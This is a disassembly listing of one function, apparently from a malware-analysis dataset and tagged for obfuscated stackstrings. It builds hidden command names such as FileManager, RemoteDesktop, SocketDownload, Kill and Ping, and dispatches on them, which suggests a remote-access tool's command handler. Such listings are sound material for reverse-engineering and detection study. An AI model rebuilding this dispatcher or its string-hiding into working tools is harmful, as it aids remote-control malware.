Function at 0x1001ba70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10193048
mov eax, dword fs:[0]
push eax
sub esp, 0x154
mov eax, dword [0x101fd000]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x7d]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x88]
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x88], 0x656c6946
mov dword [ebp - 0x84], 0x616e614d
mov word [ebp - 0x80], 0x6567
mov byte [ebp - 0x7e], 0x72
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
sub edi, eax
je 0x1001bb41
cmp edi, 0x7fffffff
ja 0x1001c73b
push edi
lea ecx, [ebp - 0x144]
call fcn.100029a0
mov esi, dword [ebp - 0x144]
lea eax, [ebp - 0x88]
push edi
push eax
push esi
call fcn.10169070
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x140], eax
mov byte [ebp - 4], 1
lea eax, [ebp - 0x98]
lea edi, [ebp - 0x8b]
mov dword [ebp - 0x98], 0x6f6d6552
mov dword [ebp - 0x94], 0x65446574
mov dword [ebp - 0x90], 0x6f746b73
mov byte [ebp - 0x8c], 0x70
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
sub edi, eax
je 0x1001bbd0
cmp edi, 0x7fffffff
ja 0x1001c740
push edi
lea ecx, [ebp - 0x138]
call fcn.100029a0
mov esi, dword [ebp - 0x138]
lea eax, [ebp - 0x98]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x134], eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0x70]
lea edi, [ebp - 0x66]
mov dword [ebp - 0x70], 0x65696c43
mov dword [ebp - 0x6c], 0x6e49746e
mov word [ebp - 0x68], 0x6f66
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
sub edi, eax
je 0x1001bc45
cmp edi, 0x7fffffff
ja 0x1001c745
push edi
lea ecx, [ebp - 0x12c]
call fcn.100029a0
mov esi, dword [ebp - 0x12c]
lea eax, [ebp - 0x70]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x128], eax
mov byte [ebp - 4], 3
lea eax, [ebp - 0x44]
lea edi, [ebp - 0x36]
mov dword [ebp - 0x44], 0x6b636f53
mov dword [ebp - 0x40], 0x6f447465
mov dword [ebp - 0x3c], 0x6f6c6e77
mov word [ebp - 0x38], 0x6461
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
sub edi, eax
je 0x1001bcc1
cmp edi, 0x7fffffff
ja 0x1001c74a
push edi
lea ecx, [ebp - 0x120]
call fcn.100029a0
mov esi, dword [ebp - 0x120]
lea eax, [ebp - 0x44]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x11c], eax
mov byte [ebp - 4], 4
lea eax, [ebp - 0x7c]
lea edi, [ebp - 0x72]
mov dword [ebp - 0x7c], 0x63736944
mov dword [ebp - 0x78], 0x656e6e6f
mov word [ebp - 0x74], 0x7463
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
sub edi, eax
je 0x1001bd36
cmp edi, 0x7fffffff
ja 0x1001c74f
push edi
lea ecx, [ebp - 0x114]
call fcn.100029a0
mov esi, dword [ebp - 0x114]
lea eax, [ebp - 0x7c]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x110], eax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x50]
lea edi, [ebp - 0x4c]
mov dword [ebp - 0x50], 0x676e6950
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0
sub edi, eax
je 0x1001bd9e
cmp edi, 0x7fffffff
ja 0x1001c754
push edi
lea ecx, [ebp - 0x108]
call fcn.100029a0
mov esi, dword [ebp - 0x108]
lea eax, [ebp - 0x50]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x104], eax
mov byte [ebp - 4], 6
lea eax, [ebp - 0x54]
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], 0x676e6f50
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
sub edi, eax
je 0x1001be06
cmp edi, 0x7fffffff
ja 0x1001c759
push edi
lea ecx, [ebp - 0xfc]
call fcn.100029a0
mov esi, dword [ebp - 0xfc]
lea eax, [ebp - 0x54]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xf8], eax
mov byte [ebp - 4], 7
lea eax, [ebp - 0x34]
lea edi, [ebp - 0x30]
mov dword [ebp - 0x34], 0x6c6c694b
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
sub edi, eax
je 0x1001be6e
cmp edi, 0x7fffffff
ja 0x1001c75e
push edi
lea ecx, [ebp - 0xf0]
call fcn.100029a0
mov esi, dword [ebp - 0xf0]
lea eax, [ebp - 0x34]
push edi
push eax
push esi
call fcn.10169070
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0xec], eax
mov byte [ebp - 4], 8
lea eax, [ebp - 0x64]
lea edi, [ebp - 0x5c]
mov dword [ebp - 0x64], 0x65636552
mov dword [ebp - 0x60], 0x64657669
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
sub edi, eax
je 0x1001bedd
cmp edi, 0x7fffffff
ja 0x1001c763
push edi
lea ecx, [ebp - 0xe4]
call fcn.100029a0
mov esi, dword [ebp - 0xe4]
lea eax, [ebp - 0x64]
push edi
push eax
push esi
call fcn.10169070
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0xe0], eax
mov byte [ebp - 4], 9
lea eax, [ebp - 0xc0]
lea edi, [ebp - 0x9a]
mov dword [ebp - 0xc0], 0x3832307b
mov dword [ebp - 0xbc], 0x37323042
mov dword [ebp - 0xb8], 0x44302d34
mov dword [ebp - 0xb4], 0x342d3331
mov dword [ebp - 0xb0], 0x2d333435
mov dword [ebp - 0xac], 0x41364438
mov dword [ebp - 0xa8], 0x3541312d
mov dword [ebp - 0xa4], 0x37424533
mov dword [ebp - 0xa0], 0x32373346
mov word [ebp - 0x9c], 0x7d33
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 0
sub edi, eax
je 0x1001bfaa
cmp edi, 0x7fffffff
ja 0x1001c768
push edi
lea ecx, [ebp - 0xd8]
call fcn.100029a0
mov esi, dword [ebp - 0xd8]
lea eax, [ebp - 0xc0]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xd4], eax
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x5c]
lea edi, [ebp - 0x57]
mov dword [ebp - 0x5c], 0x6f727245
mov byte [ebp - 0x58], 0x72
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
sub edi, eax
je 0x1001c016
cmp edi, 0x7fffffff
ja 0x1001c76d
push edi
lea ecx, [ebp - 0xcc]
call fcn.100029a0
mov esi, dword [ebp - 0xcc]
lea eax, [ebp - 0x5c]
push edi
push eax
push esi
call fcn.10169070
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xc8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x144]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x148], ecx
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [ebp - 0x20], 0
imul ecx
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0
sar edx, 1
push ecx
mov eax, edx
mov dword [ebp - 0x18], 0
shr eax, 0x1f
lea ecx, [ebp - 0x24]
push ecx
add eax, edx
lea ecx, [ebp - 0x20]
push eax
call fcn.1000beb0
push 0x10002aa0
push 0xb
push 0xc
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 0xd
push eax
call fcn.10165868
push 0x18
call fcn.1002adfd
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 0xe
test esi, esi
je 0x1001c0c6
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [esi], xmm0
push 0x40
movq qword [esi + 0x10], xmm0
movups xmmword [esi], xmm0
push str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.1000dcd0
jmp 0x1001c0c8
xor esi, esi
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x4c]
push dword [ebp - 0x20]
push eax
call fcn.1002a2c0
mov edi, dword [ebp - 0x30]
mov ecx, eax
add edi, 0x10
cmp dword [eax + 0x14], 0xf
jbe 0x1001c0eb
mov ecx, dword [eax]
cmp dword [edi + 0x14], 0xf
mov dword [ebp - 0x34], edi
jbe 0x1001c0f9
mov edx, dword [edi]
mov dword [ebp - 0x34], edx
push dword [eax + 0x10]
mov edx, dword [edi + 0x10]
push ecx
mov ecx, dword [ebp - 0x34]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c145
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c138
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c772
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
je 0x1001c15c
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x2c]
mov ecx, dword [eax + 4]
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0xc
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov edx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c176
mov edx, dword [eax]
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x1001c180
mov ecx, dword [edi]
push dword [eax + 0x10]
push edx
mov edx, dword [edi + 0x10]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c1c9
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c1bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c777
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
je 0x1001c1e0
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x2c]
mov ecx, dword [eax + 8]
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x18
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c201
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c20d
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x30]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c258
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c24b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c77c
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
je 0x1001c26c
mov ecx, dword [edi + 0xc]
push dword [ebp - 0x2c]
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x24
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov dword [ebp - 0x30], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c28a
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c296
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x30]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c2e1
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c2d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c781
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
je 0x1001c2f4
mov ecx, dword [edi]
push dword [ebp - 0x2c]
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x30
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov dword [ebp - 0x2c], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c312
mov ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c31e
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x2c]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c369
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c35c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c786
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
jne 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x3c
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov dword [ebp - 0x2c], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c38f
mov ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c39b
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x2c]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c3e6
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c3d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c78b
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
jne 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x48
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov dword [ebp - 0x2c], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c40c
mov ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c418
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x2c]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c463
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c456
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c790
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
jne 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x54
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov dword [ebp - 0x2c], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c489
mov ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c495
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x2c]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c4e0
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c4d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c795
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
jne 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x60
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov dword [ebp - 0x2c], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c506
mov ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c512
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x2c]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c55d
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c550
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c79a
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
jne 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x6c
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.1002a2c0
mov dword [ebp - 0x2c], eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c583
mov ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
cmp dword [edi + 0x24], 0xf
lea ecx, [edi + 0x10]
jbe 0x1001c58f
mov ecx, dword [edi + 0x10]
push dword [eax + 0x10]
mov edx, dword [edi + 0x20]
push dword [ebp - 0x2c]
call fcn.1000ca40
mov ecx, dword [ebp - 0x38]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c5da
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c5cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c79f
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
jne 0x1001c65b
mov eax, dword [ebp - 0x20]
add eax, 0x78
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.1002a2c0
lea edx, [edi + 0x10]
mov edi, eax
cmp dword [eax + 0x14], 0xf
jbe 0x1001c5fe
mov edi, dword [eax]
cmp dword [edx + 0x14], 0xf
mov ecx, edx
jbe 0x1001c608
mov ecx, dword [edx]
push dword [eax + 0x10]
mov edx, dword [edx + 0x10]
push edi
call fcn.1000ca40
mov ecx, dword [ebp - 0x14c]
add esp, 8
mov byte [ebp - 0x25], al
cmp ecx, 0xf
jbe 0x1001c657
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001c64a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c7a4
push ecx
push edx
call fcn.10165540
mov al, byte [ebp - 0x25]
add esp, 8
test al, al
je 0x1001c6ba
test esi, esi
je 0x1001c6ae
mov ecx, dword [esi + 0x14]
cmp ecx, 0xf
jbe 0x1001c692
mov eax, dword [esi]
inc ecx
cmp ecx, 0x1000
jb 0x1001c688
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c772
mov eax, edx
push ecx
push eax
call fcn.10165540
add esp, 8
mov dword [esi + 0x10], 0
push 0x18
mov dword [esi + 0x14], 0xf
push esi
mov byte [esi], 0
call fcn.10165540
add esp, 8
lea ecx, [ebp - 0x20]
call fcn.1000a9f0
mov al, 1
jmp 0x1001c717
test esi, esi
je 0x1001c70d
mov ecx, dword [esi + 0x14]
cmp ecx, 0xf
jbe 0x1001c6f1
mov eax, dword [esi]
inc ecx
cmp ecx, 0x1000
jb 0x1001c6e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c772
mov eax, edx
push ecx
push eax
call fcn.10165540
add esp, 8
push 0x18
push esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.10165540
add esp, 8
lea ecx, [ebp - 0x20]
call fcn.1000a9f0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1016550f
mov esp, ebp
pop ebp
ret 4
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.10002990
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
call fcn.1016cb5f
int3